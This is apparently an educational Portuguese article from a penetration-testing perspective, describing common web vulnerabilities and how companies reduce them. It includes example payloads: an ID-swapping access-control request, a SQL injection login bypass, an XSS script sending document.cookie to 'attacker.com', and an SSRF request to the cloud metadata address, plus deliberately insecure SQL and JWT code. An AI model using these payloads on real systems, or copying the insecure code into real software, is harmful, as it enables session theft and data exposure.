As Vulnerabilidades Web Mais Exploradas em Empresas e Como Elas São Encontradas em Pentests

As Vulnerabilidades Mais Exploradas em Aplicações Web

1. Broken Access Control

Broken Access Control continua sendo uma das vulnerabilidades mais críticas encontradas em aplicações web modernas.

O problema ocorre quando a aplicação não valida corretamente se o usuário autenticado realmente possui permissão para acessar determinado recurso.

Em muitos casos, basta alterar identificadores previsíveis na requisição para acessar dados de outros usuários.

Exemplo prático

GET /api/orders/10452 HTTP/1.1
Host: app.company.com
Authorization: Bearer eyJhbGciOiJIUzI1Ni...
    

Se a API validar apenas se o usuário está autenticado, mas não validar ownership do pedido, o atacante pode simplesmente alterar o ID:

GET /api/orders/10453 HTTP/1.1
Host: app.company.com
Authorization: Bearer eyJhbGciOiJIUzI1Ni...
    

Em diversos pentests, esse tipo de falha permite:

• Exposição de dados financeiros
• Acesso indevido entre contas
• Vazamento de informações pessoais
• Comprometimento multi-tenant
• Violação de LGPD

---

2. SQL Injection

SQL Injection continua sendo uma das vulnerabilidades mais perigosas quando explorável.

Ela ocorre quando entradas controladas pelo usuário são concatenadas diretamente em consultas SQL sem tratamento adequado.

Exemplo vulnerável

const query = `
SELECT * FROM users
WHERE email = '${email}'
AND password = '${password}'
`;
    

Um atacante pode enviar:

POST /login HTTP/1.1
Content-Type: application/json

{
    "email": "[email protected]' OR '1'='1",
    "password": "test"
}
    

Dependendo da implementação, isso pode alterar completamente a lógica da consulta SQL.

Impactos possíveis

• Bypass de autenticação
• Extração completa do banco de dados
• Exposição de credenciais
• Execução de comandos no servidor
• Comprometimento total da aplicação

---

3. Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS) permite que atacantes executem JavaScript malicioso no navegador de outros usuários.

A vulnerabilidade normalmente acontece quando entradas controladas pelo usuário são renderizadas sem sanitização adequada.

Exemplo prático

GET /search?q=<script>
fetch('https://attacker.com/'+document.cookie)
</script>
    

Se a aplicação refletir o parâmetro diretamente na página, o navegador da vítima executará o código JavaScript enviado pelo atacante.

Impactos comuns

• Roubo de sessão
• Captura de tokens JWT
• Execução de ações em nome da vítima
• Phishing interno
• Comprometimento de contas administrativas

Em aplicações modernas, XSS ainda aparece frequentemente em:

• Renderização insegura de HTML
• Componentes third-party
• Markdown parsers
• Upload de arquivos
• Campos ricos de conteúdo

---

4. SSRF (Server-Side Request Forgery)

SSRF permite que a aplicação realize requisições internas controladas pelo atacante.

Esse tipo de vulnerabilidade se tornou ainda mais crítico em ambientes cloud modernos.

Exemplo vulnerável

POST /api/fetch-image HTTP/1.1
Content-Type: application/json

{
    "url": "http://169.254.169.254/latest/meta-data/"
}
    

Se a aplicação buscar URLs externas sem validação adequada, o atacante pode forçar requisições para serviços internos inacessíveis externamente.

Impactos possíveis

• Exposição de credenciais cloud
• Acesso a serviços internos
• Enumeração de infraestrutura
• Pivot interno
• Comprometimento parcial do ambiente

---

5. Falhas de Autenticação

Problemas relacionados a autenticação continuam extremamente frequentes em aplicações modernas.

Exemplo inseguro

jwt.sign(payload, "123456", {
    expiresIn: "365d"
});
    

Nesse cenário:

• O segredo JWT é fraco
• O token possui validade excessiva
• Não existe rotação adequada

Em pentests reais, isso frequentemente resulta em:

• Sequestro de sessão
• Persistência indevida
• Bypass parcial de autenticação
• Comprometimento de contas privilegiadas

---

6. Security Misconfiguration

Configurações inseguras continuam sendo responsáveis por diversos incidentes reais.

Problemas comuns encontrados

• Painéis administrativos expostos
• Debug habilitado em produção
• CORS inseguro
• Headers ausentes
• Buckets públicos
• Swagger/OpenAPI exposto

Exemplo comum

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
    

Configurações incorretas de CORS podem permitir requisições cross-origin perigosas dependendo do contexto da aplicação.

Por Que Essas Vulnerabilidades Continuam Aparecendo?

Apesar da evolução das tecnologias modernas, muitos problemas continuam acontecendo por fatores como:

• Pressão por entregas rápidas
• Falta de validação manual de segurança
• Confiança excessiva em scanners automatizados
• Arquiteturas distribuídas complexas
• Integrações inseguras entre sistemas
• Ausência de Secure SDLC

Como Empresas Reduzem Esses Riscos

Empresas maduras normalmente combinam diferentes abordagens para reduzir exposição:

• Pentest recorrente
• Code Review focado em segurança
• Threat Modeling
• Treinamento seguro para desenvolvedores
• DevSecOps
• Monitoramento contínuo

Conclusão

As vulnerabilidades mais perigosas atualmente não são necessariamente as mais sofisticadas.

Em muitos casos, falhas críticas continuam acontecendo por erros básicos de autenticação, autorização e validação de entrada.

Pentests modernos vão muito além de scanners automatizados, focando em validação manual, exploração controlada e identificação de riscos reais exploráveis.